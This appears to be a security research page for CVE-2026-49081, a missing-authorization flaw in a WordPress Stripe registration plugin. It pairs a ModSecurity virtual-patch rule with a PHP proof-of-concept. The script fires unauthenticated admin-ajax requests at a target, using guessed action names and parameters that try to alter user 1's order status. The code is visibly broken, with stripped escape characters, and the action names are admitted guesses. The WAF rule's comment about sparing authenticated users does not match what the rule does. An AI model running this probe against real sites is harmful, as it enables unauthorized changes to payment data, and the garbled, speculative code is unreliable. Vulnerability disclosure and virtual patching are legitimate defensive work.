CVE-2026-49081: User Registration Stripe <= 1.3.12 Missing Authorization PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-49081 (metadata-based)
# Blocks unauthenticated access to User Registration Stripe AJAX actions that lack capability checks
# Target: user-registration-stripe plugin <= 1.3.12
# Matches: POST to admin-ajax.php with action parameter starting with 'user_registration_stripe_'
# This is a virtual patch: blocks all AJAX calls to plugin actions from unauthenticated users.
# Legitimate authenticated users will not be blocked because they do not use the AJAX endpoint for these actions (they use admin pages).
# However, if the plugin registers wp_ajax_nopriv_ hooks for legitimate unauthenticated use, this rule may cause false positives.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49081 - User Registration Stripe missing authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-49081'"
  SecRule ARGS_POST:action "@rx ^user_registration_stripe_" "chain"
    SecRule ARGS_POST:action "!@streq user_registration_stripe_allowed_public_action" 
      "setvar:tx.cve_2026_49081_block=1,t:none"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-49081 - User Registration Stripe <= 1.3.12 - Missing Authorization

// Configuration
$target_url = 'http://example.com';  // Change this to the target WordPress site URL

// This PoC attempts to trigger an unauthorized action via the WordPress AJAX endpoint.
// Based on the plugin slug 'user-registration-stripe' and common patterns for Stripe
// integration plugins, we guess the vulnerable action might be something like:
// - user_registration_stripe_process_payment
// - user_registration_stripe_webhook
// - user_registration_stripe_update_order

// Since no code is available, we use a generic approach: enumerate common action names
// defined by the plugin. The vulnerability is a missing capability check, so the action
// can be called without authentication.

$possible_actions = array(
    'user_registration_stripe_process_payment',
    'user_registration_stripe_webhook',
    'user_registration_stripe_update_subscription',
    'user_registration_stripe_handle_checkout',
    'user_registration_stripe_create_intent'
);

echo "[+] Testing CVE-2026-49081 - Missing Authorization in User Registration Stripen";
echo "[+] Target: $target_urlnn";

foreach ($possible_actions as $action) {
    $ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
    
    // Build payload: some actions may expect specific parameters (e.g., order_id, user_id).
    // We send generic parameters that might be required.
    $post_data = array(
        'action' => $action,
        'user_id' => 1,  // Often attackers attempt to modify data for user 1
        'order_id' => 'test',
        'status' => 'completed'
    );
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Extract response body
    $response_parts = explode("rnrn", $response, 2);
    $body = isset($response_parts[1]) ? $response_parts[1] : '';
    
    echo "[+] Testing action: $actionn";
    echo "    HTTP Code: $http_coden";
    
    // The plugin might return '0' on failure or some JSON on success.
    // A non-empty response (not 0, not false) suggests the action was executed.
    if ($body !== '0' && !empty($body) && $http_code == 200) {
        echo "    [!] Potential success! Response:n";
        echo "    $bodyn";
    } else {
        echo "    [-] No success (body: $body)n";
    }
    echo "n";
}

echo "[+] PoC complete.n";